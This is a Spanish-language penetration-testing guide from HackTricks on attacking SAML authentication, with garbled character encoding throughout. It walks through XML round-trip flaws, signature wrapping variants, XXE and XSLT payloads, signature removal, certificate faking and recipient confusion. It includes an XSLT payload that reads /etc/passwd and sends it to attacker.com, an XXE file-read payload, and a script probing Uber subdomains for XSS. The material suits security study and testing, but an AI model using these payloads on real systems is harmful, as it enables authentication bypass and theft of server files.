SAML Attacks
SAML Attacks
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
Herramienta
SAMLExtractor: Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo SAML.
Ronda de XML
En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificaci贸n/decodificaci贸n y se verifica la firma. Idealmente, esa codificaci贸n/decodificaci贸n no deber铆a cambiar los datos, pero basado en ese escenario, los datos que se est谩n verificando y los datos originales podr铆an no ser los mismos.
Por ejemplo, verifica el siguiente c贸digo:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultar铆a en la siguiente salida en su lugar:
First child in original doc: Y
First child after round-trip: Z
As铆 es como REXML vio el documento XML original del programa anterior:
Y as铆 es como lo vio despu茅s de una ronda de an谩lisis y serializaci贸n:
Para m谩s informaci贸n sobre la vulnerabilidad y c贸mo abusar de ella:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
Ataques de Envoltura de Firma XML
En ataques de Envoltura de Firma XML (XSW), los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a trav茅s de dos fases distintas: validaci贸n de firma y invocaci贸n de funci贸n. Estos ataques implican alterar la estructura del documento XML. Espec铆ficamente, el atacante inyecta elementos falsificados que no comprometen la validez de la Firma XML. Esta manipulaci贸n tiene como objetivo crear una discrepancia entre los elementos analizados por la l贸gica de la aplicaci贸n y aquellos verificados por el m贸dulo de verificaci贸n de firma. Como resultado, mientras que la Firma XML sigue siendo t茅cnicamente v谩lida y pasa la verificaci贸n, la l贸gica de la aplicaci贸n procesa los elementos fraudulentos. En consecuencia, el atacante elude efectivamente la protecci贸n de integridad y la autenticaci贸n de origen de la Firma XML, lo que permite la inyecci贸n de contenido arbitrario sin detecci贸n.
Los siguientes ataques se basan en esta publicaci贸n de blog y este documento. As铆 que revisa esos para m谩s detalles.
XSW #1
- Estrategia: Se agrega un nuevo elemento ra铆z que contiene la firma.
- Implicaci贸n: El validador puede confundirse entre el leg铆timo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
XSW #2
- Diferencia de XSW #1: Utiliza una firma separada en lugar de una firma envolvente.
- Implicaci贸n: La estructura "malvada", similar a XSW #1, tiene como objetivo enga帽ar a la l贸gica empresarial despu茅s de la verificaci贸n de integridad.
XSW #3
- Estrategia: Se crea una Assertion malvada al mismo nivel jer谩rquico que la assertion original.
- Implicaci贸n: Tiene la intenci贸n de confundir a la l贸gica empresarial para que use los datos maliciosos.
XSW #4
- Diferencia de XSW #3: La Assertion original se convierte en un hijo de la Assertion duplicada (malvada).
- Implicaci贸n: Similar a XSW #3 pero altera la estructura XML de manera m谩s agresiva.
XSW #5
- Aspecto 脷nico: Ni la Firma ni la Assertion original se adhieren a configuraciones est谩ndar (envolvente/envolvente/separada).
- Implicaci贸n: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperada.
XSW #6
- Estrategia: Inserci贸n en una ubicaci贸n similar a XSW #4 y #5, pero con un giro.
- Implicaci贸n: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura enga帽osa anidada.
XSW #7
- Estrategia: Se inserta un elemento Extensions con la Assertion copiada como hijo.
- Implicaci贸n: Esto explota el esquema menos restrictivo del elemento Extensions para eludir las contramedidas de validaci贸n de esquema, especialmente en bibliotecas como OpenSAML.
XSW #8
- Diferencia de XSW #7: Utiliza otro elemento XML menos restrictivo para una variante del ataque.
- Implicaci贸n: La Assertion original se convierte en un hijo del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.
Herramienta
Puedes usar la extensi贸n de Burp SAML Raider para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.
XXE
Si no sabes qu茅 tipo de ataques son XXE, por favor lee la siguiente p谩gina:
XXE - XEE - XML External Entity
Las Respuestas SAML son documentos XML desinflados y codificados en base64 y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la Respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Aqu铆 se muestra c贸mo se puede visualizar tal ataque:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Herramientas
Tambi茅n puedes usar la extensi贸n de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.
Consulta tambi茅n esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT a trav茅s de SAML
Para m谩s informaci贸n sobre XSLT, ve a:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que las transformaciones XSLT se realizan antes de la verificaci贸n de la firma digital. Esto significa que un ataque puede tener 茅xito incluso sin una firma v谩lida; una firma autofirmada o inv谩lida es suficiente para proceder.
Aqu铆 puedes encontrar un POC para verificar este tipo de vulnerabilidades, en la p谩gina de hacktricks mencionada al principio de esta secci贸n puedes encontrar cargas 煤tiles.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Herramienta
Tambi茅n puedes usar la extensi贸n de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT.
Consulta tambi茅n esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
Exclusi贸n de Firma XML
La Exclusi贸n de Firma XML observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no est谩 presente. Si este elemento falta, la validaci贸n de la firma puede no ocurrir, haci茅ndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.
Herramienta
Tambi茅n puedes usar la extensi贸n de Burp SAML Raider. Intercepta la Respuesta SAML y haz clic en Remove Signatures
. Al hacerlo, todos los elementos de Firma son eliminados.
Con las firmas eliminadas, permite que la solicitud contin煤e hacia el objetivo. Si la Firma no es requerida por el Servicio
Falsificaci贸n de Certificado
Falsificaci贸n de Certificado
La Falsificaci贸n de Certificado es una t茅cnica para probar si un Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML est谩 firmado por un Proveedor de Identidad (IdP) de confianza. Implica usar un *certificado autofirmado para firmar la Respuesta o Afirmaci贸n SAML, lo que ayuda a evaluar el proceso de validaci贸n de confianza entre SP e IdP.
C贸mo Realizar la Falsificaci贸n de Certificado
Los siguientes pasos describen el proceso utilizando la extensi贸n de Burp SAML Raider:
- Intercepta la Respuesta SAML.
- Si la respuesta contiene una firma, env铆a el certificado a SAML Raider Certs usando el bot贸n
Send Certificate to SAML Raider Certs
. - En la pesta帽a de Certificados de SAML Raider, selecciona el certificado importado y haz clic en
Save and Self-Sign
para crear un clon autofirmado del certificado original. - Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado del men煤 desplegable de Firma XML.
- Elimina cualquier firma existente con el bot贸n
Remove Signatures
. - Firma el mensaje o la afirmaci贸n con el nuevo certificado usando el bot贸n
(Re-)Sign Message
o(Re-)Sign Assertion
, seg煤n corresponda. - Reenv铆a el mensaje firmado. La autenticaci贸n exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validaci贸n de los mensajes SAML.
Confusi贸n de Destinatario de Token / Confusi贸n de Objetivo de Proveedor de Servicios
La Confusi贸n de Destinatario de Token y la Confusi贸n de Objetivo de Proveedor de Servicios implican verificar si el Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta. En esencia, un Proveedor de Servicios deber铆a rechazar una respuesta de autenticaci贸n si estaba destinada a un proveedor diferente. El elemento cr铆tico aqu铆 es el campo Recipient, que se encuentra dentro del elemento SubjectConfirmationData de una Respuesta SAML. Este campo especifica una URL que indica d贸nde debe enviarse la Afirmaci贸n. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Afirmaci贸n debe considerarse inv谩lida.
C贸mo Funciona
Para que un ataque de Confusi贸n de Destinatario de Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta v谩lida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.
El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesi贸n aut茅ntica con SP-Legit a trav茅s del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El 茅xito en este ataque se mide por la aceptaci贸n de la Afirmaci贸n por parte de SP-Target, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS en la funcionalidad de cierre de sesi贸n
La investigaci贸n original se puede acceder a trav茅s de this link.
Durante el proceso de fuerza bruta de directorios, se descubri贸 una p谩gina de cierre de sesi贸n en:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Al acceder a este enlace, se produjo una redirecci贸n a:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Esto revel贸 que el par谩metro base
acepta una URL. Considerando esto, surgi贸 la idea de sustituir la URL por javascript:alert(123);
en un intento de iniciar un ataque XSS (Cross-Site Scripting).
Explotaci贸n Masiva
La herramienta SAMLExtractor se utiliz贸 para analizar subdominios de uberinternal.com
para dominios que utilizan la misma biblioteca. Posteriormente, se desarroll贸 un script para apuntar a la p谩gina oidauth/prompt
. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la p谩gina como vulnerable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Referencias
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.